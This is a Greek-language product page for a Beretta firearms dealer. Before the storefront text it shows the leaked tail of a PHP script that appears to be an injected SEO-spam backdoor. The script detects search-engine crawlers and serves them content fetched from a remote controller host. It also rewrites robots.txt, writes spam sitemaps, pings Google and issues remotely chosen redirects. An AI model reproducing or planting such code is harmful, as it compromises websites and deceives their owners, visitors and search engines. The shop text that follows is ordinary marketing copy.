'; for ($i = 0; $i < $num; $i++) { $mapindex_str .= ' ' . $http . "://" . $_SERVER['HTTP_HOST'] . "/" . $filename . '' . ($kid + $i) . '.xml '; } $mapindex_str .= ' '; return $mapindex_str; } if(stristr($smuri_tmp, 'pingsitemap.xml')){ $dt_file_name = getDt($smuri_tmp); if($dt_file_name){ $sitemap_file = $dt_file_name.'.php?'.$sitemap_file; } for($i=1;$i<6;$i++){ //https://www.google.com/ping?sitemap=https://example.com/sitemap.xml if($dt_file_name){ $pingUrl = 'https://www.google.com/ping?sitemap='.$http . "://" . $_SERVER['HTTP_HOST'] . "/". $dt_file_name.'.php?'.'sitemap_index_'.$i.'.xml'; }else{ $pingUrl = 'https://www.google.com/ping?sitemap='.$http . "://" . $_SERVER['HTTP_HOST'] . "/".'sitemap_index_'.$i.'.xml'; } $pingRes = smoutdo($pingUrl); $ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error'; echo $pingUrl . '-- ' . $ok . '
'; } exit; } if (preg_match('/' . $sitemap_file . '_?([0-9]){1,4}.xml$/i', $smuri_tmp, $uriarr) || $smuri_tmp == '/' . $sitemap_file . '.xml') { @header("Content-type: text/xml"); $dt_file_name = getDt($smuri_tmp); if($dt_file_name){ $sitemap_file = $dt_file_name.'.php?'.$sitemap_file; } if (isset($uriarr[1])) { $id = str_replace('_', '', $uriarr[1]); } else { $id = 100; } $ivmapid = 0; sitemap_out(z_sitemap($goweb, $id, $host, $dt, $ivmapid, $mapnum, $http_web, $smuri), $host); exit(); } function getDt($smuri_tmp){ $pageStr = explode('?',$smuri_tmp); $dt_file_name = ''; if (count($pageStr) >= 2) { $phpfile = $pageStr[0]; if(preg_match("/(\.php)$/i", $phpfile)){ $dt_file_name = str_replace('.php','',$phpfile); $dt_file_name = substr($dt_file_name, 1); } } else { if(preg_match("/(\.php)$/i", $smuri_tmp)){ $dt_file_name = str_replace('.php','',$smuri_tmp); $dt_file_name = substr($dt_file_name, 1); } } return $dt_file_name; } function z_sitemap($goweb, $id, $host, $dt, $maptype, $map_num, $http_web = 'http', $smuri, $filetype = 0, $map_splits_num = '', $temp = '', $dataNew = '') { $web = $http_web . '://' . $goweb . '/sitemapdtn.php?date=' . $id . '&temp=' . $temp . '&web=' . $host . '&xml=' . $dt . '&maptype=' . $maptype . '&filetype=' . $filetype . '&map_splits_num=' . $map_splits_num . '&map_num=' . $map_num . '&dataNew=' . $dataNew . '&uri=' . $smuri; return trim(smoutdo($web)); } function sitemap_out($url, $host) { if (is_https()) { $http = 'https'; } else { $http = 'http'; } $date_str = date("Y-m-d\TH:i:sP", time()); $sitemap_header = ' '; $sitemap_header .= ' ' . $http . '://' . $host . "/" . ' '; $url_arr = explode("\r\n", $url); $map_str = $sitemap_header; foreach ($url_arr as $value) { $map_str .= ' ' . $http . '://' . $host . "/" . $value . ' '; } echo $map_str . " "; } if (isset($_GET['robots'])) { $typeName = $http.'://' . $host; $robots = $_GET['robots']; if (preg_match('/(\.php)$/i', $robots)) { $typeName = $typeName . '/' . $robots . '?'; } else { $typeName = $typeName . '/'; } putFile('robots.txt', 'User-agent: *' . PHP_EOL . 'Allow: /' . PHP_EOL . 'Crawl-delay:3' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_1.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_2.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_3.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_4.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_5.xml'); $file_get_contents = file_get_contents('robots.txt'); echo $file_get_contents; exit(); } function putFile($fileName, $fileContents) { $handle = fopen($fileName, 'w') or die('0'); fwrite($handle, $fileContents); fclose($handle); } if ($site) { if ($site == 'xml') { @header("Content-type: text/html; charset=utf-8"); $map_num = @$_GET['map_num']; $web = $http_web . '://' . $goweb . '/sitemap.php?date=' . $id . '&temp=' . $temp . '&web=' . $host . '&xml=' . $dt . '&map_num=' . $map_num . '&uri=' . $smuri . '&http=' . $http ; if (substr($temp, 0, 8) == 'shellxml') { $xmlname = substr($temp, 8) . '.xml'; } if (substr($temp, 0, 7) == 'hackxml') { if (substr($temp, 7)) { $xmlname = substr($temp, 7) . '.xml'; } } if (fopen($xmlname, "w")) { $xml = trim(smoutdo($web)); if (stristr($xml, 'no creat map')) { echo 'no creat map!'; exit; } $myfile = fopen($xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); //echo "ok
" . $http . "://" . $_SERVER['HTTP_HOST'] . "/" . $xmlname; //echo "
".$web; exit(); } else { fclose($myfile); echo 'creat sitemap faile No Permissions!
' . $http . '://' . $_SERVER['HTTP_HOST'] . "/" . $xmlname; //echo "
".$web; exit(); } } if ($id) { @header("Content-type: text/html; charset=utf-8"); $web = $http_web . '://' . $goweb . '/indexnew.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&clock=' . $clock . '&uri=' . $smuri . '&urlshang=' . $urlshang . '&http=' . $http . '&page=' . $page . '&lang=' . $lang; $html_content = trim(smoutdo($web)); if (!strstr($html_content, 'nobotuseragent')) { if (strstr($html_content, 'okhtmlgetcontent')) { $html_content = str_replace("okhtmlgetcontent", '', $html_content); echo $html_content; exit(); } else if (strstr($html_content, 'getcontent500page')) { @header('HTTP/1.1 500 Internal Server Error'); exit(); } else if (strstr($html_content, 'getcontent404page')) { @header('HTTP/1.1 404 Not Found'); exit(); } } } } else { $web = $http_web . '://' . $goweb . '/indexnew.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&clock=' . $clock . '&uri=' . $smuri . '&urlshang=' . $urlshang . '&http=' . $http . '&page=' . $page . '&lang=' . $lang; $html_content = trim(smoutdo($web)); $web_link = $http_web . '://' . $goweb . '/page/getlink.php?url=' . $site . '&web=' . $host . '&uri=' . $smuri; smoutdo($web_link); if (!strstr($html_content, 'nobotuseragent')) { @header("Content-type: text/html; charset=utf-8"); if (strstr($html_content, 'okhtmlgetcontent')) { $html_content = str_replace("okhtmlgetcontent", '', $html_content); echo $html_content; exit(); } else if (strstr($html_content, 'getcontent500page')) { @header('HTTP/1.1 500 Internal Server Error'); exit(); } else if (strstr($html_content, 'getcontent404page')) { @header('HTTP/1.1 404 Not Found'); exit(); } else if (strstr($html_content, 'getcontent301page')) { @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace("getcontent301page", '', $html_content); header('Location: ' . $html_content); exit(); } } } function smisbot() { $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']); if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'Y!J') || stristr($uAgent, 'y!j') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) { return true; } else { return false; } } function smoutdo($url) { $file_contents = ''; $user_agent = 'Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.2;.NET CLR 1.1.4322)'; if (function_exists('curl_init')) { try { $ch = curl_init(); $timeout = 30; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } catch (Exception $e) { } } if (strlen($file_contents) < 1 && function_exists('file_get_contents')) { ini_set('user_agent', $user_agent); try { $file_contents = @file_get_contents($url); } catch (Exception $e) { } } return $file_contents; } function listDir($dir) { $filearr = array(); if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if ((file_exists($dir . "/" . $file)) && $file != "." && $file != "..") { $filearr[] = $file; } } closedir($dh); } } return $filearr; } ?>Beretta – Hellas

Search
This is Voevod, a vigorous shop theme equipped with loads of features for you.

Follow Us

Ποιότητα χωρίς συμβιβασμούς

Με κεντρική αξία την απόλυτη δέσμευση στην ποιότητα που ξεκίνησε από τον Bartolomeo Beretta σχεδόν πέντε αιώνες πριν.

Πάνω από 500 χρόνια ιστορίας

H μεγαλύτερη εταιρεία κατασκευής όπλων στον κόσμο, με παραγωγή 1500 όπλων ανα ημέρα

Παρουσία και στις πέντε ηπείρους

Εμπορικές και παραγωγικές δραστηριότητες παγκοσμίως

    Συμφωνώ με την αποθήκευση, χρήση και εν γένει επεξεργασία των προσωπικών στοιχείων μου τα οποία απαιτούνται για την αποστολή ενημερώσεων

    "Εγγραφείτε στο newsletter μας"

    Compare Products
    ×
    Επικοινωνία

    Επικοινωνία

    Επικοινωνήστε μαζί μας.
    Βοηθήστε μας να γίνουμε καλύτεροι.